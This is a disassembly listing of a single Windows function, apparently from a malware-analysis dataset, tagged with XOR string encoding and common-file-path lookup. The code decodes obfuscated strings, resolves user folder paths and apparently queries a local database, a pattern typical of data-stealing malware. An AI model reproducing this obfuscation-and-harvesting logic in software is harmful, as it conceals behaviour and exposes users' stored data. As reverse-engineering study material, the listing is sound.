Function at 0x431cb0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5216b5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x338
push esi
mov esi, ecx
mov byte [ebp - 0x1d], dl
mov dword [ebp - 0x104], esi
push edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00481590
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa8]
movaps xmm0, xmmword [0x543580]
sub esp, 8
mov eax, esp
mov dword [ebp - 0x18], 1
movups xmmword [ebp - 0xe8], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov dword [ebp - 4], 4
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 7
jb 0x431d50
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe8]
mov byte [ebp - 0xe1], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431d90
sub ecx, edx
lea eax, [ebp - 0xe8]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402b20
mov dword [ebp - 0x18], 0x40001
mov byte [ebp - 4], 5
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
mov ecx, esi
cmovae eax, dword [ebp - 0x64]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xa8]
mov byte [edi], cl
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov byte [ebp - 0xa8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xa8]
mov dword [edi + 8], eax
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], esi
call fcn.0047d5c0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x431e40
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431e36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
push 0x104
lea eax, [ebp - 0x348]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x348]
push eax
movzx eax, byte [ebp - 0x1d]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x348]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431e81
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x43339b
cmp dword [ebx + 0x20], 0x10
lea eax, [ebx + 0xc]
push edx
cmovae eax, dword [ebx + 0xc]
push eax
push ecx
lea eax, [ebp - 0x348]
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x130]
call fcn.00487550
mov eax, 0x140001
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 7
xor edi, edi
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x90], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], edi
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 8
jne 0x432432
sub esp, 0x18
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0047faa0
push edi
mov dl, 1
lea ecx, [ebp - 0x7c]
call fcn.004259f0
add esp, 0x1c
mov byte [ebp - 4], 9
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x7c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x431ff6
lea ecx, [ebp - 0x7c]
call fcn.00481d80
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x431f79
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431f6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x431fad
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431fa3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x43337d
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433373
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
jmp 0x433373
xor ecx, ecx
mov dword [ebp - 0x48], ecx
test eax, eax
je 0x432424
xor edi, edi
mov dword [ebp - 0x40], edi
nop dword [eax + eax]
xorps xmm0, xmm0
mov byte [ebp - 0xb8], 0xb7
add edi, esi
movq qword [ebp - 0xb7], xmm0
mov byte [ebp - 0xaf], 0
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xb8], al
inc ecx
cmp ecx, 1
jb 0x432030
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xb8]
mov byte [ebp - 0xb7], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432070
sub ecx, edx
lea eax, [ebp - 0xb8]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x20000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae edx, dword [ebp - 0x64]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4320b0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x120]
sub eax, esi
cmp eax, ecx
jb 0x43339b
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push ecx
cmovae eax, dword [ebp - 0x130]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3c]
call fcn.00487550
mov eax, dword [ebp - 0x14]
or eax, 0x10000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov esi, esp
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x1c], esi
push edi
call fcn.0047f840
xorps xmm0, xmm0
lea ecx, [ebp - 0x8c]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
xor dl, dl
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
push 0
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x8000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call fcn.004259f0
add esp, 0x1c
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x4321a2
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432198
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x4321ec
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4321e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x88]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x8c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4323e1
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
test eax, eax
je 0x4323e1
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebx + 0x38], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea esi, [ebx + 0x24]
cmovae esi, dword [ebx + 0x24]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], esi
jb 0x432245
mov ecx, dword [ecx]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebx + 0x34]
cmp edx, eax
ja 0x4323af
sub eax, edx
test edx, edx
je 0x432310
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x80], edx
mov dword [ebp - 0xd8], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004fb3e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4323af
mov ecx, esi
mov edx, edi
mov esi, dword [ebx + 0x34]
sub esi, 4
jb 0x4322a1
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x4322a6
add edx, 4
add ecx, 4
sub esi, 4
jae 0x432290
cmp esi, 0xfffffffc
je 0x4322da
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x4322d3
cmp esi, 0xfffffffd
je 0x4322da
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x4322d3
cmp esi, 0xfffffffe
je 0x4322da
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x4322d3
cmp esi, 0xffffffff
je 0x4322da
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x4322da
sbb eax, eax
or eax, 1
jmp 0x4322dc
xor eax, eax
test eax, eax
je 0x432304
mov eax, dword [ebp - 0xd8]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x80]
push edi
call fcn.004fb3e0
mov esi, dword [ebp - 0x1c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x432280
jmp 0x4323af
sub edi, dword [ebp - 0x24]
cmp edi, 0xffffffff
je 0x4323af
mov esi, dword [ebp - 0x90]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0x70]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x1c], eax
je 0x43237c
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x70]
mov dword [ebp - 0x80], ecx
mov edx, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x43234c
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x432356
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.0048f820
add esp, 8
test al, al
jne 0x4323af
mov ecx, dword [ebp - 0x80]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x1c]
jb 0x432342
mov esi, dword [ebp - 0x90]
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x40]
push eax
cmp esi, dword [ebp - 0x68]
je 0x43239d
mov ecx, esi
call fcn.0047faa0
add esi, 0x18
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x6c], esi
jmp 0x4323af
push esi
lea ecx, [ebp - 0x70]
call fcn.0048c7f0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x88]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x8c]
sub ecx, esi
add dword [ebp - 0x44], 0x18
inc dword [ebp - 0x4c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
jb 0x432223
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 9
call fcn.00481d80
mov ecx, dword [ebp - 0x78]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7c]
sub ecx, esi
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x48]
add edi, 0x18
imul ecx
mov dword [ebp - 0x40], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x432010
mov edi, dword [ebp - 0x90]
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 8
call fcn.00481d80
jmp 0x432498
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0xf
push eax
push 0
lea ecx, [ebp - 0x70]
call fcn.0048c6d0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x432495
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43248b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edi, dword [ebp - 0x6c]
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x70]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x432541
xorps xmm0, xmm0
mov dword [ebp - 0x54], eax
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], al
mov byte [ebp - 4], 0x10
cmp edi, dword [ebp - 0x68]
je 0x4324f9
movups xmmword [edi], xmm0
mov dword [edi + 0x10], eax
lea ecx, [eax + 0xf]
movups xmm0, xmmword [ebp - 0x64]
mov dword [edi + 0x14], eax
mov byte [ebp - 0x64], al
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x54]
movq qword [edi + 0x10], xmm0
add edi, 0x18
mov dword [ebp - 0x6c], edi
jmp 0x43250c
lea eax, [ebp - 0x64]
push eax
push edi
lea ecx, [ebp - 0x70]
call fcn.0048c6d0
mov edi, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x50]
mov byte [ebp - 4], 8
cmp ecx, 0x10
jb 0x432541
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432537
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub edi, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
imul edi
xor esi, esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x40], esi
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xd8], eax
je 0x433302
nop word [eax + eax]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xa0]
push 0
mov byte [ebp - 0xa8], 0
call fcn.00481590
sub esp, 8
mov byte [ebp - 4], 0x12
mov eax, esp
lea ecx, [ebp - 0x140]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov byte [ebp - 4], 0x13
lea eax, [esi + esi*2]
mov ecx, dword [ebp - 0x70]
lea edi, [ecx + eax*8]
mov al, byte [ebp - 0xa8]
mov dword [ebp - 0x48], edi
test al, al
jne 0x432629
push 8
mov byte [ebp - 0xa8], 1
call fcn.004f7990
mov esi, eax
add esp, 4
lea eax, [ebp - 0x1d]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x14
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004f7990
mov byte [ebp - 4], 0x13
add esp, 4
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xa0], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x432637
cmp al, 1
jne 0x4333a5
mov esi, dword [ebp - 0xa0]
push edi
mov ecx, esi
call fcn.00481760
mov byte [ebp - 4], 0x12
mov edi, eax
mov cl, byte [ebp - 0x140]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x138]
mov byte [ebp - 0x140], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x140]
mov dword [edi + 8], eax
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x134], esi
call fcn.0047d5c0
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x4326c4
movups xmmword [ebp - 0x170], xmm0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
mov byte [ebp - 4], 0x17
lea edi, [ebp - 0x170]
mov esi, dword [ebp - 0x14]
or esi, 2
jmp 0x4327b8
mov byte [ebp - 0xff], 0xb7
xor ecx, ecx
movq qword [ebp - 0xfe], xmm0
mov byte [ebp - 0xf6], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xff], al
inc ecx
cmp ecx, 1
jb 0x4326e0
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xff]
mov byte [ebp - 0xfe], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432720
sub ecx, edx
lea eax, [ebp - 0xff]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x4000
mov esi, dword [ebp - 0x48]
lea edx, [ebp - 0x3c]
mov dword [ebp - 4], 0x18
or eax, 4
cmp dword [ebp - 0x28], 0x10
mov dword [ebp - 0x14], eax
cmovae edx, dword [ebp - 0x3c]
mov esi, dword [esi + 0x10]
mov ecx, edx
mov dword [ebp - 0x18], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432767
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x43339b
mov edi, dword [ebp - 0x48]
mov eax, edi
cmp dword [edi + 0x14], 0x10
jb 0x43278c
mov eax, dword [edi]
push ecx
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1bc]
call fcn.00487550
mov esi, dword [ebp - 0x14]
or esi, 0x1000
lea edi, [ebp - 0x1bc]
mov dword [ebp - 4], 0x19
or esi, 8
xorps xmm0, xmm0
mov dword [ebp - 0x18], esi
mov byte [ebp - 0x8a], 0xb7
xor ecx, ecx
movq qword [ebp - 0x89], xmm0
mov byte [ebp - 0x81], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 1
jb 0x4327e0
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x8a]
mov byte [ebp - 0x89], 0
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xbc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432825
sub ecx, edx
lea eax, [ebp - 0x8a]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.00402b20
or esi, 0x200
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0x1a
lea edx, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
cmovae edx, dword [ebp - 0xd0]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432870
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x120]
sub eax, esi
cmp eax, ecx
jb 0x43339b
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push ecx
cmovae eax, dword [ebp - 0x130]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1a4]
call fcn.00487550
mov esi, dword [ebp - 0x14]
or esi, 0x100
mov dword [ebp - 0x18], esi
push edi
lea eax, [ebp - 0x1a4]
mov byte [ebp - 4], 0x1b
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x18c]
call fcn.00487360
or esi, 0x80
mov dword [ebp - 0x18], esi
lea eax, [ebx + 0x24]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x18c]
call fcn.0047f840
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0
or esi, 0x400
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x54], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x432978
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43296e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x4329d1
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4329c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x432a0f
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432a05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x14]
test al, 8
je 0x432a60
mov ecx, dword [ebp - 0x1a8]
and eax, 0xfffffff7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x432a60
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432a53
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x22
test al, 4
je 0x432aa8
mov ecx, dword [ebp - 0x28]
and eax, 0xfffffffb
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x432aa8
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432a9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x23
test al, 2
je 0x432af3
mov ecx, dword [ebp - 0x15c]
and eax, 0xfffffffd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x432af3
mov edx, dword [ebp - 0x170]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432ae9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
lea edx, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x64]
call fcn.00417ba0
test eax, eax
jne 0x4331b7
movaps xmm0, xmmword [0x5451f0]
xor ecx, ecx
movups xmmword [ebp - 0x23c], xmm0
movaps xmm0, xmmword [0x5446a0]
movups xmmword [ebp - 0x22c], xmm0
movaps xmm0, xmmword [0x544be0]
movups xmmword [ebp - 0x21c], xmm0
movaps xmm0, xmmword [0x544710]
movups xmmword [ebp - 0x20c], xmm0
movaps xmm0, xmmword [0x544b10]
movups xmmword [ebp - 0x1fc], xmm0
movaps xmm0, xmmword [0x544460]
movups xmmword [ebp - 0x1ec], xmm0
movaps xmm0, xmmword [0x544470]
movups xmmword [ebp - 0x1dc], xmm0
movaps xmm0, xmmword [str.59]
movups xmmword [ebp - 0x1cc], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x23c], al
inc ecx
cmp ecx, 0x77
jb 0x432b80
mov dword [0x558564], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x23c]
mov byte [ebp - 0x1c5], 0
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xbc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432bc5
sub ecx, edx
lea eax, [ebp - 0x23c]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0xd0]
mov edx, dword [ebp - 0xbc]
or eax, 0x2000
mov ecx, dword [ebp - 0xd0]
cmp edx, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmovae esi, ecx
setae al
test al, al
je 0x432c37
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x432c2d
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push edx
push ecx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x44]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
call fcn.004dd320
add esp, 0x14
test eax, eax
jne 0x4331af
mov edi, dword [ebp - 0x44]
mov ecx, edi
call fcn.004b9b80
cmp eax, 0x64
jne 0x433137
lea eax, [ebp - 0xd1]
mov dword [ebp - 0x148], eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x150]
push 0
mov byte [ebp - 0x158], 0
call fcn.00481590
mov byte [ebp - 4], 0x25
test edi, edi
je 0x432cfd
cmp dword [edi + 0x2c], 0
je 0x432cd8
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x432cd8
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x432cd3
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x432d02
mov eax, dword [edi]
test eax, eax
je 0x432cfd
mov eax, dword [eax + 0x44]
test eax, eax
je 0x432cef
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x1c], eax
test edi, edi
je 0x432d63
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x432d46
cmp byte [esi + 0x1e], 0
jne 0x432d29
mov edx, esi
cmp ecx, 0xc0a
jne 0x432d41
push 0
push 7
push esi
call fcn.004a84e0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x432d4d
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x432d63
push eax
call dword [0x555d10]
add esp, 4
xorps xmm0, xmm0
mov word [ebp - 0x7c], 0x9e9e
push 0x18
mov byte [ebp - 0x7a], 0x81
movq qword [ebp - 0x79], xmm0
mov byte [ebp - 0x71], 0
movq qword [ebp - 0xe0], xmm0
mov byte [ebp - 0xe8], 3
call fcn.004f7990
mov esi, eax
add esp, 4
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x1c]
